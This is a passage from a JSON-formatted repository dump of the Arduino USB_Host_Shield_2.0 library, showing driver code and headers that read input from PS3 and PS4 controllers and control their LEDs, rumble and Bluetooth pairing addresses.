if(!bPollEnable)\n                return 0;\n\n        if(PS3Connected || PS3NavigationConnected) {\n                uint16_t BUFFER_SIZE = EP_MAXPKTSIZE;\n                pUsb->inTransfer(bAddress, epInfo[ PS3_INPUT_PIPE ].epAddr, &BUFFER_SIZE, readBuf); // input on endpoint 1\n                if((int32_t)((uint32_t)millis() - timer) > 100) { // Loop 100ms before processing data\n                        readReport();\n#ifdef PRINTREPORT\n                        printReport(); // Uncomment \"#define PRINTREPORT\" to print the report send by the PS3 Controllers\n#endif\n                }\n        } else if(PS3MoveConnected) { // One can only set the color of the bulb, set the rumble, set and get the bluetooth address and calibrate the magnetometer via USB\n                if((int32_t)((uint32_t)millis() - timer) > 4000) { // Send at least every 4th second\n                        Move_Command(writeBuf, MOVE_REPORT_BUFFER_SIZE); // The Bulb and rumble values, has to be written again and again, for it to stay turned on\n                        timer = (uint32_t)millis();\n                }\n        }\n        return 0;\n}\n\nvoid PS3USB::readReport() {\n        ButtonState = (uint32_t)(readBuf[2] | ((uint16_t)readBuf[3] << 8) | ((uint32_t)readBuf[4] << 16));\n\n        //Notify(PSTR(\"\\r\\nButtonState\", 0x80);\n        //PrintHex<uint32_t>(ButtonState, 0x80);\n\n        if(ButtonState != OldButtonState) {\n                ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable\n                OldButtonState = ButtonState;\n        }\n}\n\nvoid PS3USB::printReport() { // Uncomment \"#define PRINTREPORT\" to print the report send by the PS3 Controllers\n#ifdef PRINTREPORT\n        for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++) {\n                D_PrintHex<uint8_t > (readBuf[i], 0x80);\n                Notify(PSTR(\" \"), 0x80);\n        }\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n}\n\nbool PS3USB::getButtonPress(ButtonEnum b) {\n        return (ButtonState & pgm_read_dword(&PS3_BUTTONS[(uint8_t)b]));\n}\n\nbool PS3USB::getButtonClick(ButtonEnum b) {\n        uint32_t button = pgm_read_dword(&PS3_BUTTONS[(uint8_t)b]);\n        bool click = (ButtonClickState & button);\n        ButtonClickState &= ~button; // Clear \"click\" event\n        return click;\n}\n\nuint8_t PS3USB::getAnalogButton(ButtonEnum a) {\n        return (uint8_t)(readBuf[(pgm_read_byte(&PS3_ANALOG_BUTTONS[(uint8_t)a])) - 9]);\n}\n\nuint8_t PS3USB::getAnalogHat(AnalogHatEnum a) {\n        return (uint8_t)(readBuf[((uint8_t)a + 6)]);\n}\n\nuint16_t PS3USB::getSensor(SensorEnum a) {\n        return ((readBuf[((uint16_t)a) - 9] << 8) | readBuf[((uint16_t)a + 1) - 9]);\n}\n\nfloat PS3USB::getAngle(AngleEnum a) {\n        if(PS3Connected) {\n                float accXval, accYval, accZval;\n\n                // Data for the Kionix KXPC4 used in the DualShock 3\n                const float zeroG = 511.5f; // 1.65/3.3*1023 (1,65V)\n                accXval = -((float)getSensor(aX) - zeroG);\n                accYval = -((float)getSensor(aY) - zeroG);\n                accZval = -((float)getSensor(aZ) - zeroG);\n\n                // Convert to 360 degrees resolution\n                // atan2 outputs the value of -π to π (radians)\n                // We are then converting it to 0 to 2π and then to degrees\n                if(a == Pitch)\n                        return (atan2f(accYval, accZval) + PI) * RAD_TO_DEG;\n                else\n                        return (atan2f(accXval, accZval) + PI) * RAD_TO_DEG;\n        } else\n                return 0;\n}\n\nbool PS3USB::getStatus(StatusEnum c) {\n        return (readBuf[((uint16_t)c >> 8) - 9] == ((uint8_t)c & 0xff));\n}\n\nvoid PS3USB::printStatusString() {\n        char statusOutput[102]; // Max string length plus null character\n        if(PS3Connected || PS3NavigationConnected) {\n                strcpy_P(statusOutput, PSTR(\"\\r\\nConnectionStatus: \"));\n\n                if(getStatus(Plugged)) strcat_P(statusOutput, PSTR(\"Plugged\"));\n                else if(getStatus(Unplugged)) strcat_P(statusOutput, PSTR(\"Unplugged\"));\n                else strcat_P(statusOutput, PSTR(\"Error\"));\n\n                strcat_P(statusOutput, PSTR(\" - PowerRating: \"));\n\n                if(getStatus(Charging)) strcat_P(statusOutput, PSTR(\"Charging\"));\n                else if(getStatus(NotCharging)) strcat_P(statusOutput, PSTR(\"Not Charging\"));\n                else if(getStatus(Shutdown)) strcat_P(statusOutput, PSTR(\"Shutdown\"));\n                else if(getStatus(Dying)) strcat_P(statusOutput, PSTR(\"Dying\"));\n                else if(getStatus(Low)) strcat_P(statusOutput, PSTR(\"Low\"));\n                else if(getStatus(High)) strcat_P(statusOutput, PSTR(\"High\"));\n                else if(getStatus(Full)) strcat_P(statusOutput, PSTR(\"Full\"));\n                else strcat_P(statusOutput, PSTR(\"Error\"));\n\n                strcat_P(statusOutput, PSTR(\" - WirelessStatus: \"));\n\n                if(getStatus(CableRumble)) strcat_P(statusOutput, PSTR(\"Cable - Rumble is on\"));\n                else if(getStatus(Cable)) strcat_P(statusOutput, PSTR(\"Cable - Rumble is off\"));\n                else if(getStatus(BluetoothRumble)) strcat_P(statusOutput, PSTR(\"Bluetooth - Rumble is on\"));\n                else if(getStatus(Bluetooth)) strcat_P(statusOutput, PSTR(\"Bluetooth - Rumble is off\"));\n                else strcat_P(statusOutput, PSTR(\"Error\"));\n        } else\n                strcpy_P(statusOutput, PSTR(\"\\r\\nError\"));\n\n        USB_HOST_SERIAL.write(statusOutput);\n}\n\n/* Playstation Sixaxis Dualshock and Navigation Controller commands */\nvoid PS3USB::PS3_Command(uint8_t *data, uint16_t nbytes) {\n        // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x01), Report Type (Output 0x02), interface (0x00), datalength, datalength, data)\n        pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x01, 0x02, 0x00, nbytes, nbytes, data, NULL);\n}\n\nvoid PS3USB::setAllOff() {\n        for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++)\n                writeBuf[i] = pgm_read_byte(&PS3_REPORT_BUFFER[i]); // Reset buffer\n\n        PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::setRumbleOff() {\n        uint8_t rumbleBuf[EP_MAXPKTSIZE];\n        memcpy(rumbleBuf, writeBuf, EP_MAXPKTSIZE);\n        rumbleBuf[1] = 0x00;\n        rumbleBuf[2] = 0x00; // Low mode off\n        rumbleBuf[3] = 0x00;\n        rumbleBuf[4] = 0x00; // High mode off\n        PS3_Command(rumbleBuf, PS3_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::setRumbleOn(RumbleEnum mode) {\n        if((mode & 0x30) > 0x00) {\n                uint8_t power[2] = {0xff, 0x00}; // Defaults to RumbleLow\n                if(mode == RumbleHigh) {\n                        power[0] = 0x00;\n                        power[1] = 0xff;\n                }\n                setRumbleOn(0xfe, power[0], 0xfe, power[1]);\n        }\n}\n\nvoid PS3USB::setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower) {\n        uint8_t rumbleBuf[EP_MAXPKTSIZE];\n        memcpy(rumbleBuf, writeBuf, EP_MAXPKTSIZE);\n        rumbleBuf[1] = rightDuration;\n        rumbleBuf[2] = rightPower;\n        rumbleBuf[3] = leftDuration;\n        rumbleBuf[4] = leftPower;\n        PS3_Command(rumbleBuf, PS3_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::setLedRaw(uint8_t value) {\n        writeBuf[9] = value << 1;\n        PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::setLedOff(LEDEnum a) {\n        writeBuf[9] &= ~((uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1));\n        PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::setLedOn(LEDEnum a) {\n        if(a == OFF)\n                setLedRaw(0);\n        else {\n                writeBuf[9] |= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1);\n                PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE);\n        }\n}\n\nvoid PS3USB::setLedToggle(LEDEnum a) {\n        writeBuf[9] ^= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1);\n        PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::setBdaddr(uint8_t *bdaddr) {\n        /* Set the internal Bluetooth address */\n        uint8_t buf[8];\n        buf[0] = 0x01;\n        buf[1] = 0x00;\n\n        for(uint8_t i = 0; i < 6; i++)\n                buf[i + 2] = bdaddr[5 - i]; // Copy into buffer, has to be written reversed, so it is MSB first\n\n        // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0xF5), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data\n        pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0xF5, 0x03, 0x00, 8, 8, buf, NULL);\n}\n\nvoid PS3USB::getBdaddr(uint8_t *bdaddr) {\n        uint8_t buf[8];\n\n        // bmRequest = Device to host (0x80) | Class (0x20) | Interface (0x01) = 0xA1, bRequest = Get Report (0x01), Report ID (0xF5), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data\n        pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, 0xF5, 0x03, 0x00, 8, 8, buf, NULL);\n\n        for(uint8_t i = 0; i < 6; i++)\n                bdaddr[5 - i] = buf[i + 2]; // Copy into buffer reversed, so it is LSB first\n}\n\nvoid PS3USB::enable_sixaxis() { // Command used to enable the Dualshock 3 and Navigation controller to send data via USB\n        uint8_t cmd_buf[4];\n        cmd_buf[0] = 0x42; // Special PS3 Controller enable commands\n        cmd_buf[1] = 0x0c;\n        cmd_buf[2] = 0x00;\n        cmd_buf[3] = 0x00;\n\n        // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0xF4), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data)\n        pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0xF4, 0x03, 0x00, 4, 4, cmd_buf, NULL);\n}\n\n/* Playstation Move Controller commands */\nvoid PS3USB::Move_Command(uint8_t *data, uint16_t nbytes) {\n        pUsb->outTransfer(bAddress, epInfo[ PS3_OUTPUT_PIPE ].epAddr, nbytes, data);\n}\n\nvoid PS3USB::moveSetBulb(uint8_t r, uint8_t g, uint8_t b) { // Use this to set the Color using RGB values\n        // Set the Bulb's values into the write buffer\n        writeBuf[2] = r;\n        writeBuf[3] = g;\n        writeBuf[4] = b;\n\n        Move_Command(writeBuf, MOVE_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::moveSetBulb(ColorsEnum color) { // Use this to set the Color using the predefined colors in \"enums.h\"\n        moveSetBulb((uint8_t)(color >> 16), (uint8_t)(color >> 8), (uint8_t)(color));\n}\n\nvoid PS3USB::moveSetRumble(uint8_t rumble) {\n#ifdef DEBUG_USB_HOST\n        if(rumble < 64 && rumble != 0) // The rumble value has to at least 64, or approximately 25% (64/255*100)\n                Notify(PSTR(\"\\r\\nThe rumble value has to at least 64, or approximately 25%\"), 0x80);\n#endif\n        writeBuf[6] = rumble; // Set the rumble value into the write buffer\n\n        Move_Command(writeBuf, MOVE_REPORT_BUFFER_SIZE);\n}\n\nvoid PS3USB::setMoveBdaddr(uint8_t *bdaddr) {\n        /* Set the internal Bluetooth address */\n        uint8_t buf[11];\n        buf[0] = 0x05;\n        buf[7] = 0x10;\n        buf[8] = 0x01;\n        buf[9] = 0x02;\n        buf[10] = 0x12;\n\n        for(uint8_t i = 0; i < 6; i++)\n                buf[i + 1] = bdaddr[i];\n\n        // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x05), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data\n        pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x05, 0x03, 0x00, 11, 11, buf, NULL);\n}\n\nvoid PS3USB::getMoveBdaddr(uint8_t *bdaddr) {\n        uint8_t buf[16];\n\n        // bmRequest = Device to host (0x80) | Class (0x20) | Interface (0x01) = 0xA1, bRequest = Get Report (0x01), Report ID (0x04), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data\n        pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, 0x04, 0x03, 0x00, 16, 16, buf, NULL);\n\n        for(uint8_t i = 0; i < 6; i++)\n                bdaddr[i] = buf[10 + i];\n}\n\nvoid PS3USB::getMoveCalibration(uint8_t *data) {\n        uint8_t buf[49];\n\n        for(uint8_t i = 0; i < 3; i++) {\n                // bmRequest = Device to host (0x80) | Class (0x20) | Interface (0x01) = 0xA1, bRequest = Get Report (0x01), Report ID (0x10), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data\n                pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, 0x10, 0x03, 0x00, 49, 49, buf, NULL);\n\n                for(uint8_t j = 0; j < 49; j++)\n                        data[49 * i + j] = buf[j];\n        }\n}\n\nvoid PS3USB::onInit() {\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n        else {\n                if(PS3MoveConnected)\n                        moveSetBulb(Red);\n                else // Dualshock 3 or Navigation controller\n                        setLedOn(static_cast<LEDEnum>(LED1));\n        }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3USB.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _ps3usb_h_\n#define _ps3usb_h_\n\n#include \"Usb.h\"\n#include \"usbhid.h\"\n#include \"PS3Enums.h\"\n\n/* PS3 data taken from descriptors */\n#define EP_MAXPKTSIZE           64 // max size for data via USB\n\n/* Names we give to the 3 ps3 pipes - this is only used for setting the bluetooth address into the ps3 controllers */\n#define PS3_CONTROL_PIPE        0\n#define PS3_OUTPUT_PIPE         1\n#define PS3_INPUT_PIPE          2\n\n//PID and VID of the different devices\n#define PS3_VID                 0x054C  // Sony Corporation\n#define PS3_PID                 0x0268  // PS3 Controller DualShock 3\n#define PS3NAVIGATION_PID       0x042F  // Navigation controller\n#define PS3MOVE_PID             0x03D5  // Motion controller\n\n#define PS3_MAX_ENDPOINTS       3\n\n/**\n * This class implements support for all the official PS3 Controllers:\n * Dualshock 3, Navigation or a Motion controller via USB.\n *\n * One can only set the color of the bulb, set the rumble, set and get the bluetooth address and calibrate the magnetometer via USB on the Move controller.\n *\n * Information about the protocol can be found at the wiki: https://github.com/felis/USB_Host_Shield_2.0/wiki/PS3-Information.\n */\nclass PS3USB : public USBDeviceConfig {\npublic:\n        /**\n         * Constructor for the PS3USB class.\n         * @param  pUsb   Pointer to USB class instance.\n         * @param  btadr5,btadr4,btadr3,btadr2,btadr1,btadr0\n         * Pass your dongles Bluetooth address into the constructor,\n         * so you are able to pair the controller with a Bluetooth dongle.\n         */\n        PS3USB(USB *pUsb, uint8_t btadr5 = 0, uint8_t btadr4 = 0, uint8_t btadr3 = 0, uint8_t btadr2 = 0, uint8_t btadr1 = 0, uint8_t btadr0 = 0);\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Initialize the PS3 Controller.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Release the USB device.\n         * @return 0 on success.\n         */\n        uint8_t Release();\n        /**\n         * Poll the USB Input endpoins and run the state machines.\n         * @return 0 on success.\n         */\n        uint8_t Poll();\n\n        /**\n         * Get the device address.\n         * @return The device address.\n         */\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        /**\n         * Used to check if the controller has been initialized.\n         * @return True if it's ready.\n         */\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return (vid == PS3_VID && (pid == PS3_PID || pid == PS3NAVIGATION_PID || pid == PS3MOVE_PID));\n        };\n        /**@}*/\n\n        /**\n         * Used to set the Bluetooth address inside the Dualshock 3 and Navigation controller.\n         * Set using LSB first.\n         * @param bdaddr Your dongles Bluetooth address.\n         */\n        void setBdaddr(uint8_t *bdaddr);\n        /**\n         * Used to get the Bluetooth address inside the Dualshock 3 and Navigation controller.\n         * Will return LSB first.\n         * @param bdaddr Your dongles Bluetooth address.\n         */\n        void getBdaddr(uint8_t *bdaddr);\n\n        /**\n         * Used to set the Bluetooth address inside the Move controller.\n         * Set using LSB first.\n         * @param bdaddr Your dongles Bluetooth address.\n         */\n        void setMoveBdaddr(uint8_t *bdaddr);\n        /**\n         * Used to get the Bluetooth address inside the Move controller.\n         * Will return LSB first.\n         * @param bdaddr Your dongles Bluetooth address.\n         */\n        void getMoveBdaddr(uint8_t *bdaddr);\n        /**\n         * Used to get the calibration data inside the Move controller.\n         * @param data Buffer to store data in. Must be at least 147 bytes\n         */\n        void getMoveCalibration(uint8_t *data);\n\n        /** @name PS3 Controller functions */\n        /**\n         * getButtonPress(ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @return            getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press.\n         */\n        bool getButtonPress(ButtonEnum b);\n        bool getButtonClick(ButtonEnum b);\n        /**@}*/\n        /** @name PS3 Controller functions */\n        /**\n         * Used to get the analog value from button presses.\n         * @param  a The ::ButtonEnum to read.\n         * The supported buttons are:\n         * ::UP, ::RIGHT, ::DOWN, ::LEFT, ::L1, ::L2, ::R1, ::R2,\n         * ::TRIANGLE, ::CIRCLE, ::CROSS, ::SQUARE, and ::T.\n         * @return   Analog value in the range of 0-255.\n         */\n        uint8_t getAnalogButton(ButtonEnum a);\n        /**\n         * Used to read the analog joystick.\n         * @param  a ::LeftHatX, ::LeftHatY, ::RightHatX, and ::RightHatY.\n         * @return   Return the analog value in the range of 0-255.\n         */\n        uint8_t getAnalogHat(AnalogHatEnum a);\n        /**\n         * Used to read the sensors inside the Dualshock 3 controller.\n         * @param  a\n         * The Dualshock 3 has a 3-axis accelerometer and a 1-axis gyro inside.\n         * @return   Return the raw sensor value.\n         */\n        uint16_t getSensor(SensorEnum a);\n        /**\n         * Use this to get ::Pitch and ::Roll calculated using the accelerometer.\n         * @param  a Either ::Pitch or ::Roll.\n         * @return   Return the angle in the range of 0-360.\n         */\n        float getAngle(AngleEnum a);\n        /**\n         * Get the ::StatusEnum from the controller.\n         * @param  c The ::StatusEnum you want to read.\n         * @return   True if correct and false if not.\n         */\n        bool getStatus(StatusEnum c);\n        /** Read all the available statuses from the controller and prints it as a nice formated string. */\n        void printStatusString();\n\n        /** Used to set all LEDs and rumble off. */\n        void setAllOff();\n        /** Turn off rumble. */\n        void setRumbleOff();\n        /**\n         * Turn on rumble.\n         * @param mode Either ::RumbleHigh or ::RumbleLow.\n         */\n        void setRumbleOn(RumbleEnum mode);\n        /**\n         * Turn on rumble using custom duration and power.\n         * @param rightDuration The duration of the right/low rumble effect.\n         * @param rightPower The intensity of the right/low rumble effect.\n         * @param leftDuration The duration of the left/high rumble effect.\n         * @param leftPower The intensity of the left/high rumble effect.\n         */\n        void setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower);\n\n        /**\n         * Set LED value without using the ::LEDEnum.\n         * @param value See: ::LEDEnum.\n         */\n        void setLedRaw(uint8_t value);\n\n        /** Turn all LEDs off. */\n        void setLedOff() {\n                setLedRaw(0);\n        }\n        /**\n         * Turn the specific ::LEDEnum off.\n         * @param a The ::LEDEnum to turn off.\n         */\n        void setLedOff(LEDEnum a);\n        /**\n         * Turn the specific ::LEDEnum on.\n         * @param a The ::LEDEnum to turn on.\n         */\n        void setLedOn(LEDEnum a);\n        /**\n         * Toggle the specific ::LEDEnum.\n         * @param a The ::LEDEnum to toggle.\n         */\n        void setLedToggle(LEDEnum a);\n\n        /**\n         * Use this to set the Color using RGB values.\n         * @param r,g,b RGB value.\n         */\n        void moveSetBulb(uint8_t r, uint8_t g, uint8_t b);\n        /**\n         * Use this to set the color using the predefined colors in ::ColorsEnum.\n         * @param color The desired color.\n         */\n        void moveSetBulb(ColorsEnum color);\n        /**\n         * Set the rumble value inside the Move controller.\n         * @param rumble The desired value in the range from 64-255.\n         */\n        void moveSetRumble(uint8_t rumble);\n\n        /**\n         * Used to call your own function when the controller is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit;\n        };\n        /**@}*/\n\n        /** Variable used to indicate if the normal playstation controller is successfully connected. */\n        bool PS3Connected;\n        /** Variable used to indicate if the move controller is successfully connected. */\n        bool PS3MoveConnected;\n        /** Variable used to indicate if the navigation controller is successfully connected. */\n        bool PS3NavigationConnected;\n\nprotected:\n        /** Pointer to USB class instance. */\n        USB *pUsb;\n        /** Device address. */\n        uint8_t bAddress;\n        /** Endpoint info structure. */\n        EpInfo epInfo[PS3_MAX_ENDPOINTS];\n\nprivate:\n        /**\n         * Called when the controller is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        void onInit();\n        void (*pFuncOnInit)(void); // Pointer to function called in onInit()\n\n        bool bPollEnable;\n\n        uint32_t timer; // used to continuously set PS3 Move controller Bulb and rumble values\n\n        uint32_t ButtonState;\n        uint32_t OldButtonState;\n        uint32_t ButtonClickState;\n\n        uint8_t my_bdaddr[6]; // Change to your dongles Bluetooth address in the constructor\n        uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data\n        uint8_t writeBuf[EP_MAXPKTSIZE]; // General purpose buffer for output data\n\n        void readReport(); // read incoming data\n        void printReport(); // print incoming date - Uncomment for debugging\n\n        /* Private commands */\n        void PS3_Command(uint8_t *data, uint16_t nbytes);\n        void enable_sixaxis(); // Command used to enable the Dualshock 3 and Navigation controller to send data via USB\n        void Move_Command(uint8_t *data, uint16_t nbytes);\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4BT.h",
    "content": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _ps4bt_h_\n#define _ps4bt_h_\n\n#include \"BTHID.h\"\n#include \"PS4Parser.h\"\n\n/**\n * This class implements support for the PS4 controller via Bluetooth.\n * It uses the BTHID class for all the Bluetooth communication.\n */\nclass PS4BT : public BTHID, public PS4Parser {\npublic:\n        /**\n         * Constructor for the PS4BT class.\n         * @param  p     Pointer to the BTD class instance.\n         * @param  pair  Set this to true in order to pair with the device. If the argument is omitted then it will not pair with it. One can use ::PAIR to set it to true.\n         * @param  pin   Write the pin to BTD#btdPin. If argument is omitted, then \"0000\" will be used.\n         */\n        PS4BT(BTD *p, bool pair = false, const char *pin = \"0000\") :\n        BTHID(p, pair, pin) {\n                PS4Parser::Reset();\n        };\n\n        /**\n         * Used to check if a PS4 controller is connected.\n         * @return Returns true if it is connected.\n         */\n        bool connected() {\n                return BTHID::connected;\n        };\n\nprotected:\n        /** @name BTHID implementation */\n        /**\n         * Used to parse Bluetooth HID data.\n         * @param len The length of the incoming data.\n         * @param buf Pointer to the data buffer.\n         */\n        virtual void ParseBTHIDData(uint8_t len, uint8_t *buf) {\n                PS4Parser::Parse(len, buf);\n        };\n\n        /**\n         * Called when a device is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        virtual void OnInitBTHID() {\n                PS4Parser::Reset();\n                enable_sixaxis(); // Make the controller send out the entire output report\n                if (pFuncOnInit)\n                        pFuncOnInit(); // Call the user function\n                else\n                        setLed(Blue);\n        };\n\n        /** Used to reset the different buffers to there default values */\n        virtual void ResetBTHID() {\n                PS4Parser::Reset();\n        };\n        /**@}*/\n\n        /** @name PS4Parser implementation */\n        virtual void sendOutputReport(PS4Output *output) { // Source: https://github.com/chrippa/ds4drv\n                uint8_t buf[79];\n                memset(buf, 0, sizeof(buf));\n\n                buf[0] = 0x52; // HID BT Set_report (0x50) | Report Type (Output 0x02)\n                buf[1] = 0x11; // Report ID\n                buf[2] = 0x80;\n                buf[4]= 0xFF;\n\n                buf[7] = output->smallRumble; // Small Rumble\n                buf[8] = output->bigRumble; // Big rumble\n\n                buf[9] = output->r; // Red\n                buf[10] = output->g; // Green\n                buf[11] = output->b; // Blue\n\n                buf[12] = output->flashOn; // Time to flash bright (255 = 2.5 seconds)\n                buf[13] = output->flashOff; // Time to flash dark (255 = 2.5 seconds)\n\n                output->reportChanged = false;\n\n                // The PS4 console actually set the four last bytes to a CRC32 checksum, but it seems like it is actually not needed\n\n                HID_Command(buf, sizeof(buf));\n        };\n        /**@}*/\n\nprivate:\n        void enable_sixaxis() { // Command used to make the PS4 controller send out the entire output report\n                uint8_t buf[2];\n                buf[0] = 0x43; // HID BT Get_report (0x40) | Report Type (Feature 0x03)\n                buf[1] = 0x02; // Report ID\n\n                HID_Command(buf, 2);\n        };\n\n        void HID_Command(uint8_t *data, uint8_t nbytes) {\n                pBtd->L2CAP_Command(hci_handle, data, nbytes, control_scid[0], control_scid[1]);\n        };\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4Parser.cpp",
    "content": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"PS4Parser.h\"\n\nenum DPADEnum {\n        DPAD_UP = 0x0,\n        DPAD_UP_RIGHT = 0x1,\n        DPAD_RIGHT = 0x2,\n        DPAD_RIGHT_DOWN = 0x3,\n        DPAD_DOWN = 0x4,\n        DPAD_DOWN_LEFT = 0x5,\n        DPAD_LEFT = 0x6,\n        DPAD_LEFT_UP = 0x7,\n        DPAD_OFF = 0x8,\n};\n\n// To enable serial debugging see \"settings.h\"\n//#define PRINTREPORT // Uncomment to print the report send by the PS4 Controller\n\nbool PS4Parser::checkDpad(ButtonEnum b) {\n        switch (b) {\n                case UP:\n                        return ps4Data.btn.dpad == DPAD_LEFT_UP || ps4Data.btn.dpad == DPAD_UP || ps4Data.btn.dpad == DPAD_UP_RIGHT;\n                case RIGHT:\n                        return ps4Data.btn.dpad == DPAD_UP_RIGHT || ps4Data.btn.dpad == DPAD_RIGHT || ps4Data.btn.dpad == DPAD_RIGHT_DOWN;\n                case DOWN:\n                        return ps4Data.btn.dpad == DPAD_RIGHT_DOWN || ps4Data.btn.dpad == DPAD_DOWN || ps4Data.btn.dpad == DPAD_DOWN_LEFT;\n                case LEFT:\n                        return ps4Data.btn.dpad == DPAD_DOWN_LEFT || ps4Data.btn.dpad == DPAD_LEFT || ps4Data.btn.dpad == DPAD_LEFT_UP;\n                default:\n                        return false;\n        }\n}\n\nbool PS4Parser::getButtonPress(ButtonEnum b) {\n        if (b <= LEFT) // Dpad\n                return checkDpad(b);\n        else\n                return ps4Data.btn.val & (1UL << pgm_read_byte(&PS4_BUTTONS[(uint8_t)b]));\n}\n\nbool PS4Parser::getButtonClick(ButtonEnum b) {\n        uint32_t mask = 1UL << pgm_read_byte(&PS4_BUTTONS[(uint8_t)b]);\n        bool click = buttonClickState.val & mask;\n        buttonClickState.val &= ~mask; // Clear \"click\" event\n        return click;\n}\n\nuint8_t PS4Parser::getAnalogButton(ButtonEnum b) {\n        if 